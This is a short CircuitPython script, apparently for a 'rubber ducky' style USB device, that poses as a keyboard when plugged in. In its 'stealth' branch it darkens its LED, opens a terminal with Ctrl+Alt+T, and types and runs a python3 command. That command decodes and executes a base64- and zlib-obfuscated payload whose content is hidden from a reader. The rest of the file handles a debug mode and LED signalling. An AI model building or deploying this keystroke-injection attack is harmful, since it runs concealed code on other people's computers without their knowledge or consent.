Files
rubber_ducky/code.py
T
2026-04-28 14:13:40 +02:00

53 lines
1.6 KiB
Python

import time
import usb_hid
import board
import digitalio
import neopixel
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from keyboard_layout_win_de import KeyboardLayout
pixel = neopixel.NeoPixel(board.GP16, 1)
# --- SETUP DEBUG/EDIT PIN ---
# We use the same logic as boot.py
edit_mode_pin = digitalio.DigitalInOut(board.GP0)
edit_mode_pin.pull = digitalio.Pull.UP
# If edit_mode_pin.value is False, the wire is connected (GND).
# If it's True, no wire is connected (Stealth Mode).
is_stealth_mode = edit_mode_pin.value
if is_stealth_mode:
pixel.fill((0, 0, 0))
time.sleep(2)
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayout(kbd)
kbd.press(Keycode.CONTROL, Keycode.ALT, Keycode.T)
kbd.release_all()
time.sleep(5)
payload = r"""python3 -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENb6wqLFUQ8iIjgehORNhk1NE1CktWq+N9tyOIcZngzb9586Nm7kHB0coLEv40e+ThE2HQ8prCXiSc9A3p1AS9YWxwG+wa0qdkWVSl8rb6KfWkWJdCWH/Du/ur2Zff4cH15xzJPSGctyEQpac5a0daiqcUJ4d1qLDPGAMOEKlgk+JSl82wRDYCnpwyZvqwk9tYPcqLk4obwKALID7oKPNXPSPUHbBj6fNcGsAFLFTs3q5w6+q8elzRDsICk+WqhQLrZB4iRlgeIcdPlpILM5D8kkm38ZegPfONevg==')[0])))" """
layout.write(payload)
kbd.send(Keycode.ENTER)
pixel.fill((0, 255, 0))
time.sleep(1)
kbd.send(Keycode.ENTER)
time.sleep(1000000)
else:
pixel.fill((0, 0, 255))
time.sleep(1)
pixel.fill((0, 255, 0))
time.sleep(1)
pixel.fill((255, 0, 0))
time.sleep(1)
print("Debug wire detected. Script execution halted.")
pass